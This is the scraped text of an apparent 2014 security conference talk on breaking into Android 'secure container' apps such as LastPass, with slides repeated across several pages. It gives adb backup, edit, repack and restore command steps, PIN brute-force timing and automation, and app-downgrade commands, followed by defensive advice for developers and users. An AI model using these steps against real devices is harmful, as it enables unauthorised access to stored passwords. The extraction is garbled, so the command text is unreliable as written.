  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 140: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 141: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 142: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

